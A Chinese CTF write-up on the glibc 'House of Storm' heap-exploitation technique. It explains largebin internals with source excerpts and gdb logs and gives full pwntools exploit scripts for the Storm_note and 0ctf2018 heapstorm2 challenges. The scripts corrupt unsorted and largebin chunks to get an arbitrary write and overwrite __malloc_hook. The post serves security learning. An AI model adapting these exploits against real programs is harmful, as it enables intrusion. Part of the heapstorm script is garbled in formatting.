title: House_of_Storm date: 2019-05-07 22:14:30 tags: House_Of_Storm — Seize it, control it, and exploit it. Welcome to the House of Storm.

START

西湖论剑初赛的时候遇到了storm感觉自己太菜了 乘机做了一下出处:0ctf2018_heapstorm2.关于large unsorted 方面的题目还是做的太少了. 题目出得太棒了感谢出题人,感觉最后的large bin + unsorted 链入控制任意已知地址玩得太秀了. 乘着这次机会读挺久源码…理解的确更加深入了. 感谢veritas501对largebin的分享,感谢sakura关于0ctf2018_heapstorm2的分析非常详细,感谢keenan关于stormnote的exp (看完不理解调一遍就理解了),感谢seebug.提供了已经总结得不错的减少了我看源码的时间学习资料

前置技能

mallopt

百度百科

param 的取值可以为M_CHECK_ACTION、M_MMAP_MAX、M_MMAP_THRESHOLD、M_MXFAST(从glibc2.3起)、M_PERTURB(从glibc2.4起)、M_TOP_PAD、M_TRIM_THRESHOLD

M_MXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。

例如mallopt(1,0).关闭fastbin

off_by_one

相关介绍我在上篇博客中已有提及 LINK

LARGEBIN

探索动手过程可能比较冗长无趣可以直接跳到下一节 large chunk head结构

-------------------------
|pre_size   |size       |
|FD         |BK         |
|fd_nextsize|bk_nextsize|
-------------------------

和一般的bins区别的地方是多了两个指针fd_nextsize,bk_nextsize 先来看看larginbin放入条件:

遍历 unsorted bin 中的 chunk, 如果请求的 chunk 是一个 small chunk, 且 unsorted bin 只有一个 chunk, 并且这个 chunk 在上次分配时被使用过(也就是 last_remainder), 并且 chunk 的大小大于 (分配的大小 + MINSIZE), 这种情况下就直接将该 chunk 进行切割, 分配结束, 否则继续遍历, 如果发现一个 unsorted bin 的 size 恰好等于需要分配的 size, 命中缓存, 分配结束, 否则将根据 chunk 的空间大小将其放入对应的 small bins 或是 large bins 中, 遍历完成后, 转入下一步. 

malloc.c

#define NSMALLBINS         64
#define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz)  \
  ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)

看着太麻烦…直接动手试试.(amd64) main.c

//gcc main.c -o main
#include<stdio.h>
int main()
{
	char *A=malloc(0x3f8);
	malloc(1);
	char *B=malloc(0x408);
	malloc(1);
	char *C=malloc(0x3e8);
	malloc(1);
	free(A);
	free(B);
	free(C);
	malloc(0x1000);
}

$gdb main log

n132>>> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x603c70 (size : 0x1f390) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x3f0)  smallbin[61]: 0x602850
         largebin[ 0]: 0x602420 (size : 0x410) <--> 0x602000 (size : 0x400)

可以看出当amd64下MIN_LARGE_SIZE=0x400

largebin因为一个bin[x]可以存放不同sizechunk所以维持了两个链表 源码中是如何确定idx的

#define largebin_index_64(sz)                                                \
  (((((unsigned long) (sz)) >> 6) <= 48) ?  48 + (((unsigned long) (sz)) >> 6) :\
   ((((unsigned long) (sz)) >> 9) <= 20) ?  91 + (((unsigned long) (sz)) >> 9) :\
   ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
   ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
   ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
   126)
#define largebin_index(sz) \
  (SIZE_SZ == 8 ? largebin_index_64 (sz)                                     \
   : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz)                     \
   : largebin_index_32 (sz))

因为

2^6=0x40
2^9=0x200
2^12=0x1000
2^15=0x8000
...

通过测试 可以看出largin bin sizeidx有如下对应

|size           |idx                      |
-------------------------------------------
|0x400~0xC40    |(size-0x400)//0x40+64    |
|---------------|-------------------------|
|0xC40~0xe00    |97                       |
|---------------|-------------------------|
|0xe00~0x2a00   |(size-0xe00)//0x200+97   |
|---------------|-------------------------|
|0x2a00~0x3000  |113                      |
|---------------|-------------------------|
|0x3000~0x10000 |(size-0x3000)//0x1000+113|
|---------------|-------------------------|
|...            |...                      |
|---------------|-------------------------|

调试log

n132>>> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x617ca0 (size : 0xd360) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
         largebin[32]: 0x607060 (size : 0xc10)
         largebin[47]: 0x602000 (size : 0x2810) <--> 0x604830 (size : 0x2810)
n132>>> p main_arena.bins[220]
$10 = (mchunkptr) 0x602000
n132>>> p main_arena.bins[221]
$11 = (mchunkptr) 0x604830

大致了解了idx和size之后,了解largin bin某一idx下链入的规则 这里偷一下veritas501的测试代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(void){
	void * A = malloc(0x430-0x10);
	malloc(0x10);
	void * B = malloc(0x430-0x10);
	malloc(0x10);
	void * C = malloc(0x420-0x10);
	malloc(0x10);
	void * D = malloc(0x420-0x10);
	malloc(0x10);
	void * E = malloc(0x400-0x10);
	malloc(0x10);


	free(A);
	free(B);
	free(C);
	free(D);
	free(E);

	malloc(0x1000);
	
	return 0;

利用gdb调试可以对larginbin的双向循环链表有更多发现 这里建议不太了解的师傅调试一下.我简单地贴上free之后两个链表的状态 ··fd&bk··

ARENA<===>A<===>B===>C<===>D<===>E
^                                ^
|                                |
==================================

··fd_nextsize&bk_nextsize··

A<===>C<===>E
^           ^
|           |
=============

盗用veritas501的总结

#define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break; }

主要的链入操作就是
```c
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

简要流程

set unsortedbin size bk
set largebin size bk bk_nextsize
malloc 0x48

在malloc 0x48的发生了

binary

Analysis

全保护

  Storm_note checksec Storm_note 
[*] '/home/n132/Desktop/Storm_note/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

存在四个功能和一个隐藏功能

利用

继续跟着程序走:b _int_mallocc进入_int_malloc.先是一堆检查.

` ► 3368 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))` 因为maxfast被重置了所以显然大于.

   3405   if (in_smallbin_range (nb))
   3406     {
   3407       idx = smallbin_index (nb);
   3408       bin = bin_at (av, idx);
   3409 
  3410       if ((victim = last (bin)) != bin)
   3411         {
   3412           if (victim == 0) /* initialization check */
   3413             malloc_consolidate (av);
   3414           else
...

没有.下一个

* 此时`unsorted_size`早已被我们控制
```python
n132>>> p size
$2 = 0x4b0

先是对victimfd_nextsizebk_nextsize的赋值

n132>>> p victim->bk_nextsize 
$14 = (struct malloc_chunk *) 0xabcd00c3
n132>>> p victim->fd_nextsize 
$15 = (struct malloc_chunk *) 0x5641a7e080f0

exp

from pwn import *
def cmd(c):
	p.sendlineafter(": ",str(c))
def add(size):
	cmd(1)
	p.sendlineafter(" ?\n",str(size))
def free(idx):
	cmd(3)
	p.sendlineafter(" ?\n",str(idx))
def edit(idx,c):
	cmd(2)
	p.sendlineafter(" ?\n",str(idx))
	p.sendlineafter(": \n",str(c))
p=process("./Storm_note")
#context.log_level='debug'
add(0x500)#0
add(0x88)#1
add(0x18)#2
free(0)
add(0x18)#0
edit(0,"A"*0x18)
add(0x88)#3
add(0x88)#4
free(3)
free(1)

add(0x2d8)#1
add(0x78)#3
add(0x48)#5
add(0x4a9)#6
# now,start to build payload idx=4&5
aim=0x00000000abcd0100
bk=aim-0x20+8
bk_nextsize=aim-0x20-0x18-5
edit(4,p64(0)*7+p64(0x4a1)+p64(0)+p64(bk)+p64(0)+p64(bk_nextsize))#edit the head of LARGECHUNK
edit(5,p64(0)+p64(0x21)*7)
free(4)
edit(5,p64(0)+p64(0x4b1)+p64(0)+p64(aim-0x20))#edit the head & bk of UNSORTEDCHUNK
#gdb.attach(p,'')
# if heap != 0x56xxxxxxxx crashed
add(0x48)
edit(4,p64(0)*8+'\x00'*7)
cmd(666)
p.send("\x00"*0x30)
p.interactive()

heapstorm

binary house of storm 的起源,本该放在前面…但是我先做的StormNote所以在思路方面上题写得较为详细.这题只是叙述大概流程,感谢出题人.

Analysis

依然全保护,提供的是libc-2.24.so

[*] '/home/n132/Desktop/heapstorm'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

题目一开始在地址0x13370000开辟空间并读入随机数至0x13370800并作初始化操作 存在:

题目中list[]储存的地址与size为真实地址和随机数异或后的值.

漏洞分析.

主要的漏洞出现在edit功能中:off_by_null

  do_read(ptr, size);
  v3 = &ptr[size];
  *(_QWORD *)v3 = 'ROTSPAEH';
  *((_DWORD *)v3 + 2) = 'II_M';
  v3[12] = 0;        

利用

add(0x48)#4

edit(4,0x48-0xc,’\x00’0x10+p64(0x13377331)+p64(0)+p64(0x13370840)+p64(0x100)+’\x00’0xc)

show(0) p.readuntil(“: “) p.read(0x20) base=(u64(p.read(8))^0x13370800)-(0x00007fae63fa9b78-0x7fae63be5000)-(0x7f55e1876fe0-0x7f55e18a2000) heap=u64(p.read(8))-0xf8 log.info(hex(base)) log.info(hex(heap)) # gdb.attach(p,’’) libc=ELF(“./libc-2.24.so”) libc.address=base edit(0,0x88,p64(libc.sym[‘__malloc_hook’])+p64(0x100)+’\x00’*0x78) one=0x3f35a+base edit(2,0x14-0xc,p64(one)) # add(0x100) p.interactive()

fill 0x13377331


# 参考&引用

# 一个可以不看的小问题.
练习的时候发现一个很有趣的问题.后来经过很长时间的diff终于找出了问题所在..原因还是源码看少了.之前这句话的理解还是比较不完整

..遍历 unsorted bin 中的 chunk, 如果请求的 chunk 是一个 small chunk, 且 unsorted bin 只有一个 chunk, `并且这个 chunk 在上次分配时被使用过(也就是 last_remainder)`, 并且 chunk 的大小大于 (分配的大小 + MINSIZE), 这种情况下就直接将该 chunk 进行切割, 分配结束...

其中有个条件是`并且这个 chunk 在上次分配时被使用过`
code::
```c
 if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))

也就是victim == av->last_remainder条件. 所以我们在构造off_by_one&shrink的时候要注意last_remainder==aim unsorted bin//可能我是地球上最后一个知道的😅

这里给出两个两个有趣的例子,有兴趣的师傅可以自己去玩玩看.有个奇怪的点是我自己编译的libc居然可以没有检查报错…没有深究…但是这个的确让我定位错误花了更多的时间😭

binary

1.py

from pwn import *
def cmd(c):
	p.sendlineafter(": ",str(c))
def add(size):
	cmd(1)
	p.sendlineafter(" ?\n",str(size))
def free(idx):
	cmd(3)
	p.sendlineafter(" ?\n",str(idx))
def edit(idx,c):
	cmd(2)
	p.sendlineafter(" ?\n",str(idx))
	p.sendlineafter(": \n",str(c))
p=process("./Storm_note")
context.log_level='debug'
add(0x18)#0
add(0x400-0x20)#1
add(0x88)#2
add(0x18)#3
free(0)
free(1)
add(0x18)#0
edit(0,"A"*0x18)
gdb.attach(p)
add(0x88)#1
add(0x88)#4
free(1)
free(2)
p.interactive()

2.py

from pwn import *
def cmd(c):
	p.sendlineafter(": ",str(c))
def add(size):
	cmd(1)
	p.sendlineafter(" ?\n",str(size))
def free(idx):
	cmd(3)
	p.sendlineafter(" ?\n",str(idx))
def edit(idx,c):
	cmd(2)
	p.sendlineafter(" ?\n",str(idx))
	p.sendlineafter(": \n",str(c))
p=process("./Storm_note")
context.log_level='debug'
add(0x18)#0
add(0x400-0x20)#1
add(0x88)#2
add(0x18)#3
free(1)
edit(0,"A"*0x18)
gdb.attach(p)
add(0x88)#1
add(0x88)#4
free(1)
free(2)
p.interactive()

改进

为了避免这个坑我改进了我一般构造shrink的方法

add(0x400)#0
add(0x88)#1
add(0x18)#2
free(0)
add(0x18)#0
edit(0x18,"A"*0x18)
add(0x88)#3
add(0x88)#4
free(3)
free(1)

STORM 总结